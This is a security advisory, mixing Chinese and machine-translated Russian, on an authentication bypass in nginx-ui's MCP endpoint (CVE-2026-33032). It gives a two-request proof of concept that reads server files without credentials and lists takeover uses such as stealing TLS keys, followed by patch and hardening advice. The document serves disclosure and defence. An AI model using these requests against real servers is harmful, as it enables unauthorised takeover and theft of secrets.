Уязвимость обхода аутентификации пользовательского интерфейса Nginx (CVE-2026-33032 / MCPwn)

Суть уязвимости заключается в логической ошибке при регистрации маршрута: конечная точка /mcp защищена промежуточным ПО AuthRequired(), но ее парная конечная точка /mcp_message, которая используется для получения инструкций для фактического вызова инструмента, развернута без этого промежуточного ПО аутентификации. Это позволяет любому злоумышленнику, имеющему сетевой доступ к этому пользовательскому интерфейсу, взять на себя управление службой Nginx без каких-либо учетных данных.

1. 漏洞描述

Nginx UI 是一款广泛使用的开源 Nginx 图形化管理工具。在其集成的 MCP (Model Context Protocol) 接口中,存在一个由于代码实现疏忽导致的严重身份验证绕过漏洞,代号为 MCPwn,编号为 CVE-2026-33032.
该漏洞的核心原因在于路由注册时的逻辑错误:/mcp 端点受到 AuthRequired() 中间件保护,但其配对的、用于接收实际工具调用指令的 /mcp_message 端点在部署时缺失了该认证中间件。这使得任何能够通过网络访问该 UI 的攻击者,都可以在无需任何凭据的情况下接管 Nginx 服务。

2. 漏洞影响

CVE 编号:CVE-2026-33032
代号:MCPwn
CVSS 3.1 评分:9.8 (Critical) (向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Тип уязвимости:身份验证绕过 (CWE-306)
Затронутые версии:nginx-ui < 2.3.4
версия для реставрации:nginx-ui ≥ 2.3.4
技术影响:
任意配置修改: через edit_config 工具重写服务器块,插入攻击者控制的上游服务器。
服务接管: через reload_nginx 立即生效恶意配置,或通过 stop_nginx 造成拒绝服务(DoS)。
敏感信息泄露:利用 read_file 工具读取 TLS 私钥、系统凭据等敏感文件。
持久化控制:攻击者可利用 create_cert 重新颁发受控证书,或结合其他漏洞实现长期潜伏。

3. 漏洞 POC (Proof of Concept)

攻击链极为简洁,仅需两次 HTTP 请求即可完成接管:

步骤 1:获取会话 ID (Session ID)

攻击者向未受限的 SSE 流端点发起请求,获取执行后续指令所需的会话标识。
GET /mcp HTTP/1.1 Host: <target>:9000
预期响应:返回包含 sessionID=XYZ 的数据流 。

步骤 2:执行高权限工具指令

利用获取的 sessionID/mcp_message 发送 JSON-RPC 调用,例如读取敏感文件:
POST /mcp_message?sessionID=XYZ 
HTTP/1.1 
Host: <target>:9000 
Content-Type: application/json 
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path": "/etc/nginx/nginx.conf" }, "id": 1 }

漏洞利用链 (Chain )

该漏洞常与 CVE-2026-27944(未授权备份下载漏洞)组合使用。后者可泄露 node_secret,即使在修复了 33032 漏洞后,若未及时轮换该密钥,攻击者仍可维持对 MCP 接口的访问权限。

4. 修复建议或方案

4.1 核心修复

立即升级:将 nginx-ui 升级至 2.3.4 或更高版本。官方补丁已在路由注册中补齐了 AuthRequired() 调用。
// 修复后的代码片段
r.POST("/mcp_message", AuthRequired(), mcpMessageHandler)

4.2 缓解与加固

端口隔离:切勿将 nginx-ui 管理端口(默认 9000)直接暴露于公网,应使用 VPN、堡垒机或防火墙(白名单策略)进行访问控制。
禁用功能:若无需 AI 辅助管理,可在配置文件中彻底禁用 MCP 模块。
密钥轮换:升级后,务必轮换 node_secret、SSL 私钥及所有存储在面板内的敏感凭据。

4.3 检测手段

自动化检测:可使用 keraattin/CVE-2026-33032 提供的 Python 脚本或 Nmap NSE 插件进行非破坏性检测。

5. ссылки на цитаты

原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/ru/nginx-ui-mcp-authentication-bypass.html

Например, (0)
Предыдущий 21 февраля 2026 дп9:21
Следующий 20 марта 2023 пп10:33

Добавить комментарий

Пожалуйста, Вход в систему к комментарию